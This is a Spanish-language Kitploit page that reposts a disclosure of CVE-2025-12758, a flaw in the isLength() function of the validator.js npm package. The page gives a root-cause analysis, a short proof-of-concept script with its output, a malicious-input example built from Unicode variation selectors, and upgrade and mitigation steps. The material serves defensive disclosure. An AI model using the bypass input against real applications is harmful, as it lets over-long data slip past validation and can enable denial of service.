Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12758 — Divulgación detallada de CVE-2025-12758 con PoC que demuestra la omisión del selector de variación Unicode en isLength() de validator.js, incluido análisis de causa raíz, escenarios de explotación y pasos de mitigación. | Kitploit
Herramientas/GitHubGitHub/open-flaw/cve-2025-12758
Análisis de VulnerabilidadesAnálisis de CódigoSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Divulgación detallada de CVE-2025-12758 con PoC que demuestra la omisión del selector de variación Unicode en isLength() de validator.js, incluido análisis de causa raíz, escenarios de explotación y pasos de mitigación.

Ver Repositorio
1hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-12758: Bypass del Selector de Variación Unicode en isLength() de Validator.js

ID de CVE: CVE-2025-12758
Puntuación CVSS: 8.7 (ALTA)
Severidad: ALTA
CWE: CWE-792 (Filtrado incompleto de una o más instancias de elementos especiales)
Publicado: 26 de noviembre de 2025
Divulgado: 19 de octubre de 2025

Resumen de la vulnerabilidad

Esta vulnerabilidad afecta a las versiones < 13.15.22 del paquete npm validator. La función isLength() no tiene en cuenta los selectores de variación Unicode (\uFE0F, \uFE0E) al calcular la longitud de la cadena, lo que conduce a una validación de entrada incorrecta.

Impacto

Una aplicación que utilice isLength() para la validación de entradas puede aceptar cadenas significativamente más largas de lo previsto, lo que podría provocar:

  • Truncamiento de datos en bases de datos
  • Desbordamientos de búfer en otros componentes del sistema
  • Ataques de denegación de servicio (DoS)
  • Bypass de la validación de entradas

Causa raíz

La función isLength() no filtra adecuadamente los selectores de variación Unicode al calcular la longitud de la cadena. Estos caracteres especiales (marcas de combinación) no deberían contribuir a la longitud visual de una cadena, pero sí se cuentan en la propiedad String.length de JavaScript.

Prueba de concepto

Configuración

root@kitploit:~
npm install [email protected]
node poc.js

Código

La POC demuestra la vulnerabilidad probando la función isLength():

root@kitploit:~
const validator = require('validator');

// Cadena "test" normal - rechazada correctamente
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Cadena "test" normal - aceptada correctamente
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" con 4 selectores de variación - aceptada INCORRECTAMENTE
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Salida

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

La tercera salida demuestra la vulnerabilidad: una cadena con una longitud real de 8 pasa una comprobación de validación para una longitud máxima de 4.

Escenario de explotación

Una aplicación podría implementar la validación de comentarios de usuario:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Longitud real: 150 caracteres
// validator.isLength() devuelve incorrectamente: true ❌
// La base de datos acepta la carga maliciosa ⚠️

Solución

Actualice a la versión 13.15.22 o posterior

root@kitploit:~
npm install [email protected]

La versión corregida maneja adecuadamente los selectores de variación Unicode excluyéndolos de los cálculos de longitud.

Mitigación alternativa (temporal)

Si no puede actualizar de inmediato, implemente una validación de longitud personalizada:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Elimina los selectores de variación Unicode antes de la validación
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Referencias

  • Base de datos de vulnerabilidades de Snyk: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (Prueba original): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • PR de GitHub (Solución): https://github.com/validatorjs/validator.js/pull/2616
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2025-12758

Detección

Compruebe si su aplicación es vulnerable:

root@kitploit:~
npm audit --audit-level=high

Busque el paquete validator con una versión < 13.15.22.

Créditos

Vulnerabilidad descubierta por: Karol Wrótniak

Licencia

ISC

Descargar herramienta